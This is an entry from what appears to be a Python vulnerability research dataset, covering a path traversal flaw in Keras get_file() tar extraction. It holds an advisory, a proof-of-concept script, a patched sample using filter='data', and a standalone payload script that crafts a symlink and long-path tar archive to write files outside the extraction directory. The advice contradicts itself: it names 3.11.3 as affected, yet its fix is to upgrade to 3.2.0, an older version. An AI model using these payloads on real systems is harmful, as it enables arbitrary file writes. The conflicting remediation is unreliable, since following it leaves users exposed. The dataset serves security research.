CVE-2025-12638
Keras get_file() path traversal in tar extraction allows arbitrary file write.
- CVSS 8.0
- CWE-22
- Input Validation and Sanitization
- Remote
Keras version 3.11.3 is affected by a path traversal vulnerability in the keras.utils.get_file() function when extracting tar archives. The vulnerability arises because the function uses Python's tarfile.extractall() method without the security-critical filter='data' parameter. Although Keras attempts to filter unsafe paths using filter_safe_paths(), this filtering occurs before extraction, and a PATH_MAX symlink resolution bug triggers during extraction. This bug causes symlink resolution to fail due to path length limits, resulting in a security bypass that allows files to be written outside the intended extraction directory. This can lead to arbitrary file writes outside the cache directory, enabling potential system compromise or malicious code execution. The vulnerability affects Keras installations that process tar archives with get_file() and does not affect versions where this extraction method is secured with the appropriate filter parameter.
- CWE
- CWE-22
- CVSS base score
- 8.0
- Published
- 2025-11-28
- OWASP
- A08 Software and Data Integrity Failures
- Orthogonal defect classification
- Checking
- Code defect classification
- Missing Check
- Category
- Input Validation and Sanitization
- Subcategory
- Path Traversal
- Accessibility scope
- Remote
- Impact
- Arbitrary Code Execution
- Affected component
- Keras
- Fixed by upgrading
- Yes
Solution
Upgrade to Keras version 3.2.0 or later.
Vulnerable code sample
import os
import tarfile
import tempfile
import pathlib
# This function simulates the naive path filtering that occurs before extraction.
# It checks if the resolved path of a member is within the extraction directory.
# However, this check is flawed because it doesn't properly handle symlinks
# that might point outside the directory, which tarfile.extractall() will follow.
def filter_safe_paths(members, extract_path):
"""
A simulated, flawed path filter similar to the one described in the CVE.
"""
base_path = os.path.abspath(extract_path)
for member in members:
member_path = os.path.join(base_path, member.name)
# Naively check if the path appears to be within the extraction directory.
# This check is insufficient for symlinks whose targets are resolved
# during the actual extraction process.
if not os.path.abspath(member_path).startswith(base_path):
raise IOError(f"Path is outside the extraction directory: {member.name}")
print("[INFO] Pre-extraction path filter passed successfully (this is the flaw).")
# This function represents the vulnerable keras.utils.get_file() logic.
def get_file_vulnerable(fname, extract_path):
"""
A function demonstrating the vulnerable extraction logic.
It uses a flawed pre-extraction check and then calls tarfile.extractall()
without the security-critical `filter='data'` parameter.
"""
print(f"[INFO] Opening tar archive: {fname}")
with tarfile.open(fname, "r") as tar:
# 1. Keras attempts to filter paths BEFORE extraction. This is the flawed check.
# The check will pass because the symlink's name itself is safe.
filter_safe_paths(tar.getmembers(), extract_path)
# 2. The vulnerable call to extractall(). It does not use the `filter='data'`
# parameter (introduced in Python 3.12). The OS will resolve the symlink
# during this step, and because the path is long, it can trigger
# resolution failures that bypass security, writing the file outside `extract_path`.
print("[INFO] Calling vulnerable tar.extractall() without a secure filter...")
tar.extractall(path=extract_path)
print(f"[INFO] Extraction completed.")
def create_malicious_tar(output_filename):
"""
Creates a malicious tar file containing a symlink that points outside
the intended extraction directory. This simulates the exploit payload.
The long path in the symlink name is meant to represent the PATH_MAX
condition described in the CVE.
"""
# A very long directory name to simulate the PATH_MAX bug trigger condition.
# The OS might truncate path resolution, leading to the bypass.
long_path_segment = "A" * 250
# The symlink will point to a file outside the intended cache directory.
# This is a classic path traversal payload.
symlink_target = "../../../../../../../../../../../tmp/pwned_by_cve.txt"
symlink_name = f"long_path/{long_path_segment}/symlink_to_outside"
with tempfile.TemporaryDirectory() as temp_dir:
# Create the directory structure for the symlink inside the temp build dir
os.makedirs(os.path.join(temp_dir, os.path.dirname(symlink_name)), exist_ok=True)
# Create the symlink inside our temporary build directory
symlink_path = os.path.join(temp_dir, symlink_name)
os.symlink(symlink_target, symlink_path)
# Create the tar file containing this malicious symlink
print(f"[SETUP] Creating malicious tar file at: {output_filename}")
with tarfile.open(output_filename, "w") as tar:
# Add the symlink to the archive. tarfile adds the link itself,
# not the file it points to.
tar.add(symlink_path, arcname=symlink_name)
print(f"[SETUP] Malicious tar file created. It contains a symlink '{symlink_name}' -> '{symlink_target}'")
if __name__ == "__main__":
# The location where the exploit will write a file.
malicious_output_file = "/tmp/pwned_by_cve.txt"
# Ensure the target file doesn't exist before the exploit.
if os.path.exists(malicious_output_file):
os.remove(malicious_output_file)
with tempfile.TemporaryDirectory() as cache_dir, tempfile.TemporaryDirectory() as work_dir:
malicious_tar_path = os.path.join(work_dir, "malicious.tar")
# 1. Create the malicious tar file.
create_malicious_tar(malicious_tar_path)
print("-" * 50)
# 2. Check that the target file does not exist yet.
print(f"[VERIFY] Checking if '{malicious_output_file}' exists before extraction...")
assert not os.path.exists(malicious_output_file), "FAIL: Malicious file exists before exploit."
print(f"[OK] File does not exist.")
print("-" * 50)
# 3. Run the vulnerable extraction function.
print(f"[EXPLOIT] Running the vulnerable function to extract into: {cache_dir}")
try:
get_file_vulnerable(malicious_tar_path, cache_dir)
except Exception as e:
print(f"[ERROR] An exception occurred: {e}")
# In a real scenario, the pre-filter might raise an error, but here we expect it to pass.
print("-" * 50)
# 4. Verify that the exploit succeeded.
print(f"[VERIFY] Checking if '{malicious_output_file}' was created by the exploit...")
if os.path.exists(malicious_output_file):
print("[SUCCESS] Vulnerability Confirmed: File was written outside the cache directory.")
print(f" Location: {malicious_output_file}")
# Clean up the created file
os.remove(malicious_output_file)
else:
print("[FAIL] Vulnerability Not Triggered: Malicious file was not created.")Patched code sample
import os
import sys
import tarfile
def secure_extract_tar(file_path, extraction_dir="."):
"""
This function demonstrates the fix for CVE-2025-12638.
It represents the patched extraction logic that replaces the vulnerable
method in keras.utils.get_file(). The fix involves using the
`filter='data'` parameter in `tarfile.extractall()`, which is the
modern, secure way to extract tar archives in Python.
Args:
file_path (str): The path to the .tar archive to be extracted.
extraction_dir (str): The directory where the contents will be extracted.
"""
# Ensure the extraction directory exists before proceeding.
os.makedirs(extraction_dir, exist_ok=True)
try:
with tarfile.open(file_path) as archive:
# --- THE VULNERABILITY FIX ---
# The vulnerability was caused by calling extractall() without the
# `filter` argument. The fix is to add `filter='data'`.
# This built-in filter prevents path traversal (e.g., filenames
# with '..'), blocks symlink and hardlink extraction, and rejects
# other potentially malicious file types. It supersedes any
# custom, and potentially bypassable, path filtering logic.
archive.extractall(path=extraction_dir, filter="data")
except TypeError:
# This code block handles environments with older Python versions
# (e.g., < 3.12) where the `filter` parameter is not available.
# In such cases, the secure approach is to fail loudly rather than
# fall back to an insecure extraction method.
raise RuntimeError(
f"Your Python version ({sys.version_info.major}."
f"{sys.version_info.minor}) does not support the 'filter' "
f"parameter for tarfile.extractall(), which is required to "
f"mitigate the path traversal vulnerability (CVE-2025-12638). "
f"Please upgrade your Python environment."
)
except Exception as e:
# Catch other potential extraction errors.
raise IOError(f"Failed to extract archive at {file_path}: {e}")Payload
import tarfile
import os
import io
# Configuration for the malicious payload
ARCHIVE_NAME = 'malicious_payload.tar'
TARGET_DIRECTORY = '/tmp'
MALICIOUS_FILENAME = 'keras_pwned.txt'
MALICIOUS_CONTENT = b'This file was written outside the Keras cache directory.'
# A very long directory name to trigger the PATH_MAX bug during symlink resolution.
# The total path length (extraction_dir + long_dir_name) must exceed the system's PATH_MAX.
# 4000 characters is typically sufficient.
LONG_DIR_NAME = 'A' * 4000
SYMLINK_NAME = 'exploit_symlink'
# Define the paths as they will appear inside the tar archive
symlink_path_in_archive = os.path.join(LONG_DIR_NAME, SYMLINK_NAME)
file_path_in_archive = os.path.join(symlink_path_in_archive, MALICIOUS_FILENAME)
# Use an in-memory bytes buffer to construct the tar file
bio = io.BytesIO()
with tarfile.open(fileobj=bio, mode='w') as tar:
# 1. Create a TarInfo object for the long directory
dir_info = tarfile.TarInfo(name=LONG_DIR_NAME)
dir_info.type = tarfile.DIRTYPE
dir_info.mode = 0o755
tar.addfile(dir_info)
# 2. Create a TarInfo object for the symbolic link.
# This symlink points from within the long path to the desired target directory.
slink_info = tarfile.TarInfo(name=symlink_path_in_archive)
slink_info.type = tarfile.SYMTYPE
slink_info.linkname = TARGET_DIRECTORY # The symlink target
slink_info.mode = 0o777
tar.addfile(slink_info)
# 3. Create a TarInfo object for the malicious file.
# This file is placed "inside" the symlink path.
file_info = tarfile.TarInfo(name=file_path_in_archive)
file_info.size = len(MALICIOUS_CONTENT)
file_info.mode = 0o644
tar.addfile(file_info, io.BytesIO(MALICIOUS_CONTENT))
# Write the generated in-memory tar archive to a file
with open(ARCHIVE_NAME, 'wb') as f:
f.write(bio.getvalue())
# This script creates 'malicious_payload.tar'.
# When a vulnerable Keras version extracts this file via get_file(),
# it will create '/tmp/keras_pwned.txt' on the filesystem.
Cite this entry
@misc{vaitp:cve202512638,
title = {{Keras get_file() path traversal in tar extraction allows arbitrary file write.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2025},
note = {VAITP Python Vulnerability Dataset, entry CVE-2025-12638},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2025-12638/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
